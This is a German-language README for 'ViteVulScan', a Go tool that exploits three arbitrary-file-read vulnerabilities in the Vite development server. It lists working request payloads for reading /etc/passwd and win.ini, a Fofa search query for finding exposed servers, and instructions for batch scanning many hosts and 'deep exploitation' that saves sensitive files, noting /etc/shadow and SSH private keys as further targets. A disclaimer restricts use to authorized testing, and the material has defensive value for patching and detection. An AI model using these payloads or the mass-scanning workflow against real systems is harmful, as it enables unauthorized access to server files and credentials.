ViteVulScan

Schwachstellenübersicht

Dieses Projekt betrifft drei Schwachstellen: CVE-2025-30208/CVE-2025-31125/CVE-2025-31486, alle betreffen den Vite-Entwicklungsserver und ermöglichen das Lesen beliebiger Dateien. Diese drei Schwachstellen haben eine große Abdeckung und sind einfach und uneingeschränkt ausnutzbar.

Schwachstellen-POCs:

CVE-2025-30208:

Windows: /@fs/C://Windows/win.ini?import&raw??

Linux: /@fs/etc/passwd?import&raw??

CVE-2025-31125

Windows: /@fs/C://windows/win.ini?import&?inline=1.wasm?init

Linux: /@fs/etc/passwd?import&?inline=1.wasm?init

CVE-2025-31486

Windows: /@fs/x/x/x/vite-project/?/../../../../../C://windows/win.ini?import&?inline=1.wasm?init

Linux: /@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?inline=1.wasm?init

Der Pfad /@fs kann weggelassen werden.

Fofa-Abfragesyntax:

body="/@vite/client"

Tool-Nutzungshinweise

Funktionen des Tools

1. Kann mit Fofa für die Batch-Ausnutzung zusammenarbeiten.
2. Analysiert die genauen Pfade der gefundenen Schwachstellen und führt eine tiefgehende Ausnutzung durch.
3. Nutzt die Nebenläufigkeit von Go voll aus, um innerhalb kurzer Zeit eine schnelle Batch-Erkennung einer großen Anzahl von Assets zu ermöglichen.

Kompilierungsanleitung

Go-Version: Go 1.20 oder höher

Wechseln Sie in das Stammverzeichnis des Projekts.

Synchronisieren Sie zuerst die Abhängigkeiten:

go mod tidy

Dann kompilieren Sie das Projekt:

go build -o ViteVulScan -ldflags="-s -w" -trimpath .

./ViteVulScan startet das Skript.

Sie können das Projekt auch direkt im Stammverzeichnis ausführen:

go run .

Konfiguration

Das Skript unterstützt die Zusammenarbeit mit Fofa, um Assets zu durchsuchen und dann eine Batch-Erkennung durchzuführen.

Um Fofa zu verwenden, stellen Sie sicher, dass die Datei app.ini und die kompilierte Binärdatei im selben Verzeichnis sind. Bearbeiten Sie die Datei app.ini im config-Verzeichnis. Tragen Sie Ihren eigenen Fofa-API-Key in das Feld fofakey ein. num ist die ungefähre Anzahl der Assets, die Sie überprüfen möchten.

Wenn Sie eine bessere Fofa-Suchgrammatik für diese Schwachstellen haben, können Sie das Feld fofaQuery entsprechend ändern.

Befehlszeilenparameter

Usage of ./ViteVulScan:

Hinweise

1. Für die Batch-Erkennung aller Ziel-URLs in einer Datei: Stellen Sie sicher, dass jede Zeile eine URL enthält. Die URL kann eine vollständige URL mit http, ein Domainname oder eine IP sein, z.B.:
   root@kitploit:~

     http://example1.com 
     example2.com
     127.0.0.1
   

2. Wenn die Parameter -fofa und -f angegeben werden, werden die als anfällig erkannten Assets automatisch im aktuellen Verzeichnis gespeichert. Der Dateiname hat das Format "aktueller_Zeitstempel.csv".
3. Es wird sowohl die Ausnutzung auf Linux- als auch auf Windows-Plattformen unterstützt. Die verwendeten Wörterbücher sind linux_sensitive_path.txt und windows_sensitive_path.txt im dict-Verzeichnis. Wenn Sie weitere sensible Pfade haben, können Sie diese in den entsprechenden Wörterbüchern hinzufügen.

Beispiele

Beispiel 1: Batch-Erkennung mit Fofa:

./ViteVulScan -fofa

Nach dem Scan wird im result-Verzeichnis eine CSV-Datei mit den erfolgreich ausgenutzten URLs gespeichert, benannt mit einem Zeitstempel:

Beispiel 2: Tiefgehende Ausnutzung einer anfälligen URL:

./ViteVulScan -u example.com -e

Wenn „Nutzung erfolgreich“ angezeigt wird, überprüfen Sie das result-Verzeichnis. Es wird ein Verzeichnis mit dem Namen der gescannten URL geben. Die gescannten sensiblen Dateien werden in ihrem ursprünglichen Dateiformat an den entsprechenden Pfaden gespeichert. Das Ergebnis sieht wie folgt aus:

Am Beispiel des gespeicherten Inhalts von result/localhost:5173/etc/passwd ist zu sehen, dass der vollständige Inhalt der sensiblen Informationen gespeichert wurde, was die weitere Nutzung erleichtert (wenn /etc/shadow oder der SSH-Private-Key des Servers ausgelesen werden können, kann dies weiter ausgenutzt werden).

Haftungsausschluss

Dieses Tool dient ausschließlich der Sicherheitsforschung und autorisierten Tests. Verwenden Sie es nicht für illegale Zwecke. Die Folgen jeglicher nicht autorisierter Tests mit diesem Tool liegen in der alleinigen Verantwortung des Benutzers.

Aktualisierungen

29. März: Erstveröffentlichung

• Implementierung der Funktion zur Asset-Sammlung über Fofa
• Implementierung der Batch-Validierung mit CVE-2025-30208
• Hinzufügen der Befehlszeilenanalyse

1. April:

• Implementierung der tiefgehenden Ausnutzung

2. April:

• Hinzufügen der Validierung für die neu veröffentlichte Schwachstelle CVE-2025-31125.

9. April:

• Behebung von Fehlern im Fofa-Modul.
• Hinzufügen von Nebenläufigkeitsfunktionen zur schnellen Batch-Erkennung von Assets auf Schwachstellen.
• Hinzufügen der Validierung für CVE-2025-31486
• Änderung der Projektdateistruktur